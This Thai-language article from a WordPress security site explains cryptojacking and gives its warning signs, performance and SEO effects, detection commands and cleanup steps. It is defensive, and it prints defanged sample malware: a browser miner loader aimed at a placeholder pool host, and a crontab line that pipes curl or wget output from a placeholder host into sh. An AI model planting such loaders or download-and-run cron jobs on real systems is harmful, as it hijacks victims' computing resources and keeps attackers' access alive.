WordPress Malware & Virus

Cryptojacking คืออะไร? ทำไมเว็บช้าผิดปกติ ทั้งที่ทราฟฟิกไม่ได้เพิ่ม

Cryptojacking คืออะไร? ทำไมเว็บช้าผิดปกติ ทั้งที่ทราฟฟิกไม่ได้เพิ่ม

สรุปคำตอบ

Cryptojacking คือการแอบใช้พลังประมวลผลของอุปกรณ์หรือเซิร์ฟเวอร์ของผู้อื่นเพื่อขุดสกุลเงินดิจิทัลโดยไม่ได้รับอนุญาต บนเว็บไซต์มี 2 รูปแบบ คือสคริปต์ที่ขุดบนเบราว์เซอร์ของผู้เข้าชม และโปรแกรมขุดที่รันบนเซิร์ฟเวอร์ผ่าน cron หรือโปรเซสแปลกปลอม อาการที่พบคือ CPU สูงค้างและเว็บช้าทั้งที่ทราฟฟิกไม่เพิ่ม การแก้ต้องหยุดตัวขุดและปิดทางเข้าเดิม เช่น Backdoor และปลั๊กอินที่มีช่องโหว่ พร้อมกัน

Cryptojacking คือการที่ผู้ไม่หวังดีแอบใช้พลังประมวลผลของอุปกรณ์หรือระบบของผู้อื่นเพื่อขุดสกุลเงินดิจิทัล (cryptocurrency mining) โดยเจ้าของไม่ได้อนุญาต หน่วยงาน CISA ของสหรัฐฯ อธิบายว่าผู้โจมตีอาศัยช่องโหว่ในหน้าเว็บ ซอฟต์แวร์ และระบบปฏิบัติการ เพื่อติดตั้งซอฟต์แวร์ขุดเหรียญลงบนเครื่องของเหยื่อ แล้วยึดพลังประมวลผลไปใช้ (CISA, 2021)

สำหรับเจ้าของเว็บไซต์ Cryptojacking มักไม่ทำให้หน้าเว็บเปลี่ยนไปจนสังเกตได้ทันที สิ่งที่เห็นคือเว็บช้าลง CPU ของเซิร์ฟเวอร์สูงค้าง หรือผู้เข้าชมบ่นว่าเครื่องร้อนขณะเปิดเว็บ ทั้งที่จำนวนผู้เข้าชมไม่ได้เพิ่ม บทความนี้เป็นส่วนหนึ่งของชุดความรู้เรื่อง มัลแวร์เว็บไซต์ (Website Malware) โดยอธิบายนิยาม รูปแบบ สัญญาณเตือน ผลต่อประสิทธิภาพเว็บ และวิธีตรวจสอบอย่างปลอดภัย

Cryptojacking คืออะไร

ในเชิงเทคนิค การขุดสกุลเงินดิจิทัลคือการคำนวณซ้ำจำนวนมากเพื่อยืนยันธุรกรรมของเครือข่ายและรับเหรียญเป็นผลตอบแทน งานลักษณะนี้กินทรัพยากรสูง ผู้โจมตีจึงเลือกใช้ทรัพยากรของคนอื่นแทนการจ่ายค่าไฟและค่าเครื่องเอง กรอบความรู้ MITRE ATT&CK จัดพฤติกรรมนี้ไว้ในเทคนิค T1496 Resource Hijacking ซึ่งนิยามว่าเป็นการใช้ทรัพยากรของระบบที่ถูกยึดเพื่อทำงานที่ใช้ทรัพยากรสูง และอาจกระทบความพร้อมใช้งานของระบบหรือบริการที่โฮสต์อยู่ เทคนิคย่อย T1496.001 Compute Hijacking ระบุว่าจุดประสงค์ที่พบบ่อยคือการยืนยันธุรกรรมของเครือข่ายสกุลเงินดิจิทัลเพื่อรับเหรียญ

Google ก็นับการขุดเหรียญในเบราว์เซอร์เป็นรูปแบบหนึ่งของเว็บที่ถูกแฮก ในเอกสารรายงาน Security Issues ของ Search Console หมวด Hacked: Code injection ยกตัวอย่างว่าโค้ดที่ถูกฝังอาจเป็นการพาไปเว็บอันตราย หรือการรันซอฟต์แวร์ขุดสกุลเงินดิจิทัลบนเบราว์เซอร์ระหว่างที่เปิดหน้าเว็บ (Google Search Console Help) ดังนั้น Cryptojacking บนเว็บจึงไม่ใช่เพียงปัญหาประสิทธิภาพ แต่เป็นหลักฐานว่าเว็บถูกแก้ไขโดยไม่ได้รับอนุญาต

สรุปนิยาม: Cryptojacking คือการขโมยพลังประมวลผล ไม่ใช่การขโมยไฟล์หรือข้อมูลโดยตรง แต่การที่ผู้โจมตีวางโค้ดขุดได้ แปลว่าเขามีสิทธิ์แก้ไขเว็บหรือเซิร์ฟเวอร์แล้ว ซึ่งเป็นปัญหาความปลอดภัยเต็มรูปแบบ

2 รูปแบบ: ขุดบนเครื่องผู้เข้าชม vs ขุดบนเซิร์ฟเวอร์

CISA แบ่งวิธีการออกเป็นสองแบบ แบบแรกคือการฝัง JavaScript สำหรับขุดเหรียญลงในหน้าเว็บ ซึ่งใช้พลังประมวลผลของผู้เข้าชมผ่านเบราว์เซอร์ แบบที่สองคือการติดตั้งมัลแวร์ลงในระบบ ซึ่งอาจอยู่ถาวรหรือไม่ถาวรก็ได้ และยังทำงานต่อแม้ผู้ใช้ออกจากหน้าเว็บต้นทางแล้ว (CISA, 2021) เมื่อมองจากมุมเจ้าของเว็บ ความต่างที่สำคัญคือ “เครื่องของใครที่ถูกใช้”

ประเด็น ขุดบนเครื่องผู้เข้าชม (in-browser) ขุดบนเซิร์ฟเวอร์ (server-side)
ทรัพยากรที่ถูกใช้ CPU ของคอมพิวเตอร์หรือมือถือของผู้เข้าชม CPU ของเซิร์ฟเวอร์หรือโฮสติ้งที่เว็บตั้งอยู่
ทำงานเมื่อไร เฉพาะตอนที่หน้าเว็บเปิดอยู่ ตลอดเวลา ไม่ขึ้นกับว่ามีคนเข้าเว็บหรือไม่
ตำแหน่งที่มักพบ สคริปต์ใน Theme, ช่องใส่โค้ด Header/Footer, เนื้อหาในฐานข้อมูล โปรเซสแปลกปลอม, งานตั้งเวลา (cron), ไฟล์รันได้ในโฟลเดอร์ชั่วคราว
ใครสังเกตเห็นก่อน ผู้เข้าชมที่เครื่องร้อนหรือช้าลง, เครื่องมือของ Google เจ้าของเว็บหรือผู้ให้บริการโฮสติ้งที่เห็น CPU สูงค้าง
สิทธิ์ที่ผู้โจมตีต้องมี สิทธิ์แก้ไขไฟล์หรือเนื้อหาของเว็บ สิทธิ์สั่งรันโปรแกรมบนเซิร์ฟเวอร์ ซึ่งมักได้มาจาก Backdoor หรือ Web Shell

แบบขุดบนเครื่องผู้เข้าชมใช้กลไกการฝังโค้ดแบบเดียวกับมัลแวร์ JavaScript ประเภทอื่น ซึ่งอธิบายวิธีการฝังและตำแหน่งที่ซ่อนไว้ละเอียดในบทความ Malicious JavaScript และ iFrame Injection ส่วนแบบขุดบนเซิร์ฟเวอร์ต้องอาศัยช่องทางรันคำสั่ง ซึ่งส่วนใหญ่มาจาก Web Shell หรือ Backdoor ที่ถูกวางไว้ก่อนหน้า MITRE ระบุว่าเซิร์ฟเวอร์และระบบคลาวด์เป็นเป้าหมายที่พบบ่อยเพราะมีทรัพยากรให้ใช้มาก และมัลแวร์ขุดเหรียญบางตัวจะค้นหาแล้วปิดโปรเซสของมัลแวร์คู่แข่งเพื่อไม่ให้แย่งทรัพยากรกัน (MITRE ATT&CK T1496.001)

สัญญาณเตือนว่าเว็บอาจถูกใช้ขุดเหรียญ

สัญญาณของ Cryptojacking ส่วนใหญ่เป็นอาการด้านทรัพยากร ไม่ใช่อาการที่มองเห็นบนหน้าเว็บ ผลกระทบที่ CISA ระบุ ได้แก่ ประสิทธิภาพของระบบลดลงเพราะ CPU และแบนด์วิดท์ถูกใช้จนเต็ม ความเสียหายทางกายภาพของฮาร์ดแวร์จากความร้อน การหยุดชะงักของการทำงาน และความสูญเสียทางการเงินจากค่ากู้คืนระบบและค่าไฟที่เพิ่มขึ้น (CISA, 2021) เมื่อนำมาแปลเป็นสิ่งที่เจ้าของเว็บ WordPress มักเห็น จะได้ดังนี้

  • CPU ของเซิร์ฟเวอร์สูงค้างตลอดเวลา รวมถึงช่วงกลางดึกที่แทบไม่มีผู้เข้าชม ซึ่งไม่สอดคล้องกับกราฟทราฟฟิก MITRE แนะนำให้สังเกตโปรเซสที่รันนานผิดปกติและกิน CPU สูง ซึ่งเริ่มจาก cron, shell script หรือ Docker (MITRE ATT&CK T1496.001)
  • เว็บตอบสนองช้าลงทั้งที่ทราฟฟิกเท่าเดิม เพราะ PHP และฐานข้อมูลต้องแย่ง CPU กับโปรแกรมขุด
  • ได้รับแจ้งจากผู้ให้บริการโฮสติ้ง ว่าบัญชีใช้ทรัพยากรเกินกำหนด หรือพบไฟล์อันตราย ดูแนวทางรับมือใน Hosting แจ้งพบ Malware บน WordPress
  • ค่าใช้จ่ายคลาวด์เพิ่มขึ้น สำหรับเซิร์ฟเวอร์ที่คิดค่าบริการตามการใช้งาน MITRE ยังระบุว่าในระบบคลาวด์ ผู้โจมตีอาจสร้าง instance ใหม่ในภูมิภาค (region) ที่ไม่ได้ใช้หรือไม่ได้เฝ้าดู
  • เชื่อมต่อออกไปยังเซิร์ฟเวอร์ภายนอกที่ไม่รู้จัก MITRE ระบุการเชื่อมต่อเครือข่ายที่ไม่ได้รับอนุญาตไปยัง mining pool เป็นหนึ่งในสิ่งที่ใช้ตรวจจับ (MITRE ATT&CK T1496)
  • ผู้เข้าชมบ่นว่าเครื่องร้อน พัดลมดัง หรือแบตเตอรี่ลดเร็ว เฉพาะตอนเปิดเว็บของคุณ เป็นอาการของแบบขุดบนเบราว์เซอร์
  • Search Console แจ้ง Security Issues ประเภท Code injection ดูวิธีอ่านรายงานและขอ Review ได้ที่ Search Console แจ้ง Security Issues

อาการเหล่านี้ไม่ได้ชี้ว่าเป็น Cryptojacking เสมอไป เว็บช้าและ CPU สูงเกิดจากสาเหตุปกติได้หลายอย่าง เช่น ปลั๊กอินที่เขียนไม่ดี ฐานข้อมูลที่ไม่มี index หรือบอทที่เข้ามาไล่เก็บหน้าเว็บ จุดที่ช่วยแยกได้คือ ถ้า CPU สูงโดยไม่สัมพันธ์กับจำนวนคำขอ (request) ที่เข้ามา และโปรเซสที่กิน CPU ไม่ใช่ PHP, เว็บเซิร์ฟเวอร์ หรือฐานข้อมูล ควรสงสัยว่าเป็นโปรแกรมแปลกปลอม

ผลกระทบต่อ Core Web Vitals และ SEO

Core Web Vitals คือชุดตัวชี้วัดประสบการณ์ผู้ใช้จริงด้านการโหลด การตอบสนอง และความเสถียรของการแสดงผล Google ระบุเกณฑ์ที่ดีไว้ว่า LCP ควรเกิดภายใน 2.5 วินาที INP ควรต่ำกว่า 200 มิลลิวินาที และ CLS ควรต่ำกว่า 0.1 และอธิบายว่าสิ่งนี้รวมกับปัจจัยด้าน page experience อื่นสอดคล้องกับสิ่งที่ระบบจัดอันดับหลักต้องการให้รางวัล (Google Search Central) Google ไม่ได้ระบุว่าคะแนนที่ดีรับประกันอันดับ จึงควรมอง Core Web Vitals เป็นปัจจัยหนึ่ง ไม่ใช่ปัจจัยชี้ขาด

เราไม่พบแหล่งข้อมูลที่เชื่อถือได้ซึ่งวัดว่า Cryptojacking ทำให้คะแนน Core Web Vitals ลดลงเป็นตัวเลขเท่าใด หัวข้อนี้จึงอธิบายเฉพาะกลไกที่เอกสารทางเทคนิครองรับ

แบบขุดบนเซิร์ฟเวอร์: กระทบเวลาตอบสนองของเซิร์ฟเวอร์และ LCP

TTFB (Time to First Byte) คือเวลาตั้งแต่เริ่มเปิดหน้าจนได้รับไบต์แรกของคำตอบ web.dev แนะนำให้อยู่ที่ 0.8 วินาทีหรือน้อยกว่าที่เปอร์เซ็นไทล์ที่ 75 และระบุว่า TTFB ไม่ใช่ Core Web Vital แต่เป็นพื้นฐานของตัวชี้วัดที่ตามมา (web.dev: TTFB) คู่มือปรับ LCP ของ web.dev แบ่ง LCP เป็นสี่ส่วน โดย TTFB เป็นส่วนแรก และระบุว่า TTFB ที่สูงอาจทำให้ LCP ภายใน 2.5 วินาทีทำได้ยากหรือเป็นไปไม่ได้ (web.dev: Optimize LCP) เมื่อโปรแกรมขุดแย่ง CPU ไปจาก PHP เซิร์ฟเวอร์จะสร้างหน้า HTML ได้ช้าลง ซึ่งไปเพิ่ม TTFB และส่งต่อไปยัง LCP ของทุกหน้า MITRE ยังระบุว่าการขุดอาจกินทรัพยากรจนเครื่องไม่ตอบสนอง (MITRE ATT&CK T1496.001) ซึ่งในกรณีนั้นปัญหาไม่ใช่แค่คะแนน แต่คือเว็บล่ม

แบบขุดบนเบราว์เซอร์: กระทบการตอบสนองของหน้าเว็บ (INP)

INP วัดความหน่วงของการคลิก แตะ และกดแป้นพิมพ์ตลอดการเข้าชม เกณฑ์ที่ดีคือไม่เกิน 200 มิลลิวินาที และเกิน 500 มิลลิวินาทีถือว่าแย่ (web.dev: INP) งานที่ใช้เวลานานกว่า 50 มิลลิวินาทีบน main thread ถือเป็น long task และ main thread ทำงานได้ทีละงาน ถ้ามี long task จำนวนมาก หน้าเว็บจะรู้สึกไม่ตอบสนอง (web.dev: Optimize long tasks) ถ้าโค้ดขุดรันบน main thread ก็จะเกิด long task ตามนิยามนี้โดยตรง อย่างไรก็ดี สคริปต์อาจรันใน Web Worker ซึ่ง MDN อธิบายว่าเป็นเธรดเบื้องหลังที่แยกจาก main thread และทำให้ main thread ไม่ถูกบล็อก (MDN Web Docs) ในกรณีนั้นผลต่อ INP จะเป็นทางอ้อม คือขึ้นกับว่าการแย่ง CPU ทำให้อุปกรณ์ของผู้เข้าชมช้าลงเพียงใด ซึ่งมักเห็นชัดกว่าในอุปกรณ์ที่สเปกต่ำ

ผลต่อ SEO ที่หนักกว่าความเร็ว

ในทางปฏิบัติ ผลต่อ SEO ที่ร้ายแรงกว่าความเร็วคือการที่ Google ตรวจพบว่าเว็บถูกฝังโค้ด เมื่อ Google จัดว่าเป็น Code injection เว็บอาจถูกแสดงคำเตือนในผลการค้นหาหรือเบราว์เซอร์ ซึ่งกระทบการคลิกโดยตรง รายละเอียดเรื่องคำเตือนดูได้ใน Google เตือน “เว็บไซต์นี้อาจเป็นอันตราย”

ตัวอย่างโค้ดขุดเหรียญที่พบในเว็บ

ตัวอย่างในหัวข้อนี้ตัดส่วนที่ทำงานได้ออกแล้ว และเปลี่ยนโดเมนเป็นโดเมนสมมติ .example ใช้เพื่อให้จำหน้าตาได้เวลาเจอในเว็บของคุณเท่านั้น

ตัวอย่างโค้ดอันตราย · ตัดให้ใช้งานไม่ได้

1. ตัวโหลดสคริปต์ขุดเหรียญบนเบราว์เซอร์ผู้เข้าชม

<script src="https://cdn-stats.example/lib/…min.js"></script>
<script>
(function () {
  if (/bot|crawl|spider/i.test(navigator.userAgent)) return;  // ไม่ทำงานกับบอท
  var cores = navigator.hardwareConcurrency || 2;
  var w = new Worker('https://cdn-stats.example/w/…');       // ขุดในเธรดแยก
  w.postMessage({ pool: 'wss://pool.example/…', key: '…',
                  threads: cores, throttle: 0.5 });          // ใช้ CPU ครึ่งเดียวให้สังเกตยาก
})();
</script>

จุดสังเกต: สคริปต์ที่ไม่ทำงานกับบอท สร้าง Worker จากโดเมนภายนอก ส่งค่า pool, threads หรือ throttle และเชื่อมต่อแบบ wss:// ไปยังโดเมนที่ไม่รู้จัก ไม่ใช่สิ่งที่ธีมหรือปลั๊กอินทั่วไปทำ ให้สังเกตการเรียกไฟล์ .wasm จากโดเมนแปลกด้วย

มักซ่อนอยู่ที่: header.php หรือ footer.php ของ Theme, ช่อง Custom Code ของ Theme หรือ Plugin, ตาราง wp_options และเนื้อหาบทความใน wp_posts

ตัวอย่างโค้ดอันตราย · ตัดให้ใช้งานไม่ได้

2. งาน cron ที่ดึงตัวขุดมารันบนเซิร์ฟเวอร์ซ้ำทุกช่วงเวลา

# บรรทัดแปลกปลอมใน crontab ของผู้ใช้เว็บ
*/15 * * * * (curl -fsSL http://upd.example/… || wget -qO- http://upd.example/…) | sh >/dev/null 2>&1

# โปรเซสที่ตั้งชื่อเลียนแบบโปรเซสของระบบ
/tmp/.X11-unix/.kworkerd -o pool.example:… -u … --cpu-max-threads-hint=…

จุดสังเกต: คำสั่งที่ดาวน์โหลดแล้วส่งเข้า sh ทันที การซ่อนผลลัพธ์ทั้งหมดไปที่ /dev/null ไฟล์รันได้ที่ชื่อขึ้นต้นด้วยจุดในโฟลเดอร์ชั่วคราว และพารามิเตอร์ที่ชี้ไปยัง pool พร้อม username ของกระเป๋าเงิน cron ทำให้ตัวขุดกลับมาเองแม้จะสั่งปิดโปรเซสไปแล้ว

มักซ่อนอยู่ที่: crontab ของผู้ใช้ที่รันเว็บ, /etc/cron.d/, โฟลเดอร์ /tmp, /var/tmp, /dev/shm และโฟลเดอร์ uploads ของ WordPress

คำสั่งตรวจสอบ · ใช้ได้จริง

3. หาโปรเซสที่กิน CPU และงานตั้งเวลาที่ไม่รู้จัก (ต้องมีสิทธิ์ SSH)

# โปรเซสที่ใช้ CPU มากที่สุด 15 อันดับ
ps aux --sort=-%cpu | head -n 15

# ดูตำแหน่งไฟล์จริงของโปรเซสที่สงสัย (แทน PID ด้วยหมายเลขจริง)
ls -l /proc/PID/exe

# งานตั้งเวลาของผู้ใช้ปัจจุบัน และของระบบ
crontab -l
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

# ไฟล์รันได้ในโฟลเดอร์ชั่วคราว
find /tmp /var/tmp /dev/shm -type f -perm -u+x -ls 2>/dev/null

# ไฟล์ในเว็บที่ถูกแก้ไขภายใน 7 วัน (เปลี่ยน path ให้ตรงกับเว็บของคุณ)
find /var/www/html -type f -mtime -7 -ls

คำสั่งทั้งหมดเป็นการอ่านข้อมูลเท่านั้น ไม่ลบหรือแก้ไขสิ่งใด หน้าจอ top ก็ใช้ดูภาพรวมแบบเรียลไทม์ได้ ใน Shared Hosting ที่ไม่มี SSH ให้ดูกราฟ CPU และ Cron Jobs ในแผงควบคุมของโฮสติ้งแทน

ถ้าเจอโปรเซสแปลก ให้จดชื่อไฟล์ ตำแหน่ง และบรรทัด cron ไว้เป็นหลักฐานก่อนลบ เพราะเป็นเบาะแสว่าผู้โจมตีเข้ามาทางไหน

คำสั่งตรวจสอบ · ใช้ได้จริง

4. หาสคริปต์ขุดที่ฝังในฐานข้อมูล WordPress

-- บทความและหน้าที่มีการสร้าง Worker หรือเรียกไฟล์ wasm
SELECT ID, post_title FROM wp_posts
WHERE post_content LIKE '%new Worker(%' OR post_content LIKE '%.wasm%';

-- ค่าตั้งค่าที่มี script แปลกปลอม (เช่น ช่องใส่โค้ด Header/Footer)
SELECT option_name FROM wp_options
WHERE option_value LIKE '%<script%' AND option_value LIKE '%Worker%';

ใช้ใน phpMyAdmin ของ Hosting ถ้าตารางใช้ prefix อื่นที่ไม่ใช่ wp_ ให้เปลี่ยนตามที่ตั้งไว้ใน wp-config.php ผลที่พบต้องตรวจด้วยตาก่อน เพราะปลั๊กอินที่ถูกต้องบางตัวก็ใช้ Worker ได้

วิธีตรวจสอบและกำจัด

การกำจัด Cryptojacking ให้ได้ผลต้องทำสองส่วนพร้อมกัน คือหยุดตัวขุด และปิดช่องทางที่ผู้โจมตีใช้วางตัวขุด ถ้าทำเพียงส่วนแรก ตัวขุดมักกลับมาภายในไม่กี่ชั่วโมงผ่าน cron หรือ Backdoor ลำดับที่แนะนำมีดังนี้

  1. ยืนยันอาการด้วยข้อมูล เทียบกราฟ CPU กับกราฟทราฟฟิก แล้วใช้คำสั่งในหัวข้อก่อนหน้าหาโปรเซสที่ไม่ใช่ PHP, เว็บเซิร์ฟเวอร์ หรือฐานข้อมูล
  2. เก็บหลักฐานก่อนลบ สำรองสภาพปัจจุบันของไฟล์และฐานข้อมูลแยกไว้ จดตำแหน่งไฟล์ บรรทัด cron และเวลาที่ไฟล์ถูกแก้ไข
  3. หยุดตัวขุดฝั่งเซิร์ฟเวอร์ ลบบรรทัด cron แปลกปลอมก่อน แล้วจึงหยุดโปรเซสและลบไฟล์ เพื่อไม่ให้ cron ดึงกลับมาใหม่
  4. ล้างสคริปต์ฝั่งหน้าเว็บ ตรวจไฟล์ Theme, ช่อง Custom Code และฐานข้อมูล ตรวจไฟล์ Core ของ WordPress เทียบกับต้นฉบับด้วย wp core verify-checksums และดูวิธีไล่หาไฟล์แปลกปลอมเพิ่มเติมได้ใน วิธีเช็กไฟล์แปลกปลอมใน WordPress
  5. หาและปิดทางเข้า ค้นหา Web Shell และ Backdoor อัปเดต WordPress, Theme และ Plugin ทั้งหมด ลบส่วนเสริมที่เลิกใช้ และเปลี่ยนรหัสผ่านทุกจุด ทั้งแอดมิน, Hosting, FTP/SFTP, SSH และฐานข้อมูล
  6. เฝ้าดูต่อ ติดตามกราฟ CPU หลังทำความสะอาดอย่างน้อยหลายวัน ถ้า CPU กลับมาสูงอีก แปลว่ายังมีทางเข้าที่ยังไม่ได้ปิด แนวทางหลังล้างไวรัสดูได้ใน หลังล้างไวรัส WordPress ต้องทำอะไรต่อ
  7. ขอ Review กับ Google ถ้า Search Console แจ้ง Security Issues ให้ขอตรวจสอบใหม่หลังทำความสะอาดครบแล้วเท่านั้น

จากเคสที่เราแก้ เซิร์ฟเวอร์ที่มีตัวขุดมักมีมัลแวร์ประเภทอื่นอยู่ร่วมด้วย เพราะทางเข้าเดียวกันเปิดให้ผู้โจมตีทำได้หลายอย่าง จึงควรตรวจทั้งระบบแทนการลบเฉพาะตัวขุด ถ้าเว็บเป็นของธุรกิจและไม่มีทีมดูแลเซิร์ฟเวอร์ การให้ผู้เชี่ยวชาญ ล้างไวรัสและปิดช่องโหว่ จะช่วยลดโอกาสติดซ้ำ

วิธีป้องกัน

CISA แนะนำมาตรการป้องกันการขุดเหรียญโดยไม่ได้รับอนุญาต ได้แก่ ใช้และอัปเดตซอฟต์แวร์ป้องกันไวรัส ติดตั้งแพตช์ความปลอดภัย ใช้รหัสผ่านที่แข็งแรง เฝ้าดูการใช้งาน CPU ปิดบริการที่ไม่จำเป็น ตรวจสอบความถูกต้องของข้อมูลที่ป้อนเข้าเว็บ ใช้ไฟร์วอลล์ และใช้รายการบล็อกเว็บไซต์อันตราย (CISA, 2021) MITRE เองระบุว่าเทคนิคนี้ป้องกันล่วงหน้าได้ยาก เพราะเป็นการใช้ความสามารถปกติของระบบในทางที่ผิด (MITRE ATT&CK T1496) การป้องกันจึงต้องเน้นสองด้าน คือไม่ให้ผู้โจมตีเข้ามาได้ และตรวจจับให้เร็วถ้าเข้ามาแล้ว

  • อัปเดตสม่ำเสมอ ช่องโหว่ใน Plugin และ Theme เป็นทางเข้าหลักของเว็บ WordPress ดูเหตุผลใน ทำไมต้องอัปเดต Plugin และ Theme
  • ตั้งการแจ้งเตือน CPU ในแผงควบคุมของโฮสติ้งหรือระบบมอนิเตอร์ เพื่อให้รู้ทันทีเมื่อ CPU สูงค้างผิดปกติ
  • ตรวจ cron เป็นระยะ ให้รู้ว่างานตั้งเวลาทุกบรรทัดมาจากไหน
  • จำกัดสิทธิ์ไฟล์ ไม่ให้ผู้ใช้ที่รันเว็บเขียนไฟล์ได้ทุกโฟลเดอร์ ดู File Permission ใน WordPress และแนวทาง Hardening WordPress ของ WordPress.org
  • ทำตาม checklist ความปลอดภัยพื้นฐาน เช่น 2FA สำหรับแอดมิน และการจำกัดการล็อกอิน ดูรายการครบใน วิธีป้องกันเว็บ WordPress โดนแฮก

เซิร์ฟเวอร์ที่ถูกใช้ขุดเหรียญได้ แปลว่าผู้โจมตีสั่งรันโปรแกรมบนเครื่องนั้นได้แล้ว ทางเข้าเดียวกันอาจถูกใช้เพื่อเข้าร่วม Botnet หรือวางมัลแวร์เรียกค่าไถ่ ซึ่งอธิบายต่อในบทความ Botnet และ Ransomware บนเซิร์ฟเวอร์

คำถามที่พบบ่อย

Cryptojacking คืออะไร?

Cryptojacking คือการแอบใช้พลังประมวลผลของอุปกรณ์หรือเซิร์ฟเวอร์ของผู้อื่นเพื่อขุดสกุลเงินดิจิทัลโดยไม่ได้รับอนุญาต บนเว็บไซต์พบได้ทั้งแบบสคริปต์ที่ขุดบนเบราว์เซอร์ของผู้เข้าชม และแบบโปรแกรมขุดที่รันบนเซิร์ฟเวอร์

เว็บช้าและ CPU สูง แปลว่าโดน Cryptojacking แน่หรือไม่?

ไม่เสมอไป ปลั๊กอินหนัก ฐานข้อมูลช้า หรือบอทจำนวนมากก็ทำให้ CPU สูงได้ ควรสงสัยมากขึ้นเมื่อ CPU สูงค้างทั้งที่ทราฟฟิกต่ำ และโปรเซสที่กิน CPU ไม่ใช่ PHP เว็บเซิร์ฟเวอร์ หรือฐานข้อมูล

สคริปต์ขุดบนเบราว์เซอร์ทำอันตรายต่อผู้เข้าชมอย่างไร?

ทำให้อุปกรณ์ของผู้เข้าชมใช้ CPU สูงขึ้นขณะเปิดเว็บ ส่งผลให้เครื่องช้า ร้อน และใช้พลังงานมากขึ้น และ Google จัดว่าเป็นการฝังโค้ด (Code injection) ซึ่งอาจทำให้เว็บถูกแจ้งเตือนใน Search Console

ลบโปรเซสขุดแล้ว ทำไม CPU กลับมาสูงอีก?

มักเป็นเพราะยังมีงาน cron ที่ดึงตัวขุดกลับมา หรือยังมี Backdoor ที่ผู้โจมตีใช้เข้ามาติดตั้งใหม่ ต้องลบ cron และหาทางเข้าให้ครบ ดูเพิ่มที่ Backdoor ทำไมล้างแล้วติดซ้ำ

Cryptojacking ทำให้อันดับใน Google ตกไหม?

เว็บที่ช้าลงอาจมี Core Web Vitals แย่ลง ซึ่ง Google ระบุว่าเป็นส่วนหนึ่งของประสบการณ์ที่ระบบจัดอันดับให้รางวัล แต่ผลที่ชัดเจนกว่าคือคำเตือนความปลอดภัยเมื่อ Google ตรวจพบโค้ดที่ถูกฝัง ซึ่งลดการคลิกโดยตรง

ใช้ Shared Hosting ไม่มี SSH จะตรวจได้อย่างไร?

ดูกราฟการใช้ CPU และรายการ Cron Jobs ในแผงควบคุมของโฮสติ้ง ใช้ปลั๊กอินสแกนมัลแวร์ และเครื่องมือฟรีที่สรุปไว้ใน เช็คเว็บติดไวรัสด้วยเครื่องมือฟรี แล้วสอบถามผู้ให้บริการโฮสติ้งเรื่องโปรเซสที่ใช้ทรัพยากรสูง

แหล่งอ้างอิง

  1. Cybersecurity and Infrastructure Security Agency (CISA). (2021). Defending Against Illicit Cryptocurrency Mining Activity. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://www.cisa.gov/news-events/news/defending-against-illicit-cryptocurrency-mining-activity
  2. MITRE. (2025). Resource Hijacking, Technique T1496 – Enterprise | MITRE ATT&CK. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://attack.mitre.org/techniques/T1496/
  3. MITRE. (ม.ป.ป.). Resource Hijacking: Compute Hijacking, Sub-technique T1496.001 – Enterprise | MITRE ATT&CK. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://attack.mitre.org/techniques/T1496/001/
  4. Google. (ม.ป.ป.). Security Issues report – Search Console Help. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://support.google.com/webmasters/answer/9044101
  5. Google Search Central. (ม.ป.ป.). Understanding Core Web Vitals and Google search results. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developers.google.com/search/docs/appearance/core-web-vitals
  6. web.dev. (2025). Time to First Byte (TTFB). สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://web.dev/articles/ttfb
  7. web.dev. (2025). Optimize Largest Contentful Paint. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://web.dev/articles/optimize-lcp
  8. web.dev. (2025). Interaction to Next Paint (INP). สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://web.dev/articles/inp
  9. web.dev. (2024). Optimize long tasks. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://web.dev/articles/optimize-long-tasks
  10. MDN Web Docs. (ม.ป.ป.). Web Workers API. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API
  11. WordPress.org. (ม.ป.ป.). wp core verify-checksums – WP-CLI Command. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.wordpress.org/cli/commands/core/verify-checksums/
  12. WordPress.org. (ม.ป.ป.). Hardening WordPress – Advanced Administration Handbook. สืบค้นเมื่อ 3 ตุลาคม 2026, จาก https://developer.wordpress.org/advanced-administration/security/hardening/
อ่านบทความหลักของหมวดนี้ WordPress ติดไวรัส คืออะไร? อาการและวิธีตรวจสอบเบื้องต้น

บทความอื่นในหมวดนี้

เว็บโดนแฮก ทำอย่างไรดี? ขั้นตอนกู้เว็บ WordPress ทีละขั้น

ขั้นตอนกู้เว็บ WordPress ที่โดนแฮกทีละขั้น เรียบเรียงจาก NIST SP 800-61 Rev. 3, เอกสาร FAQ My site was hacked ของ WordPress.org และคำแนะนำของ Google สำหรับเว็บที่ถูกแฮก

42 นาที 18 Jun 2026
อ่านต่อ
LINE ส่งปัญหา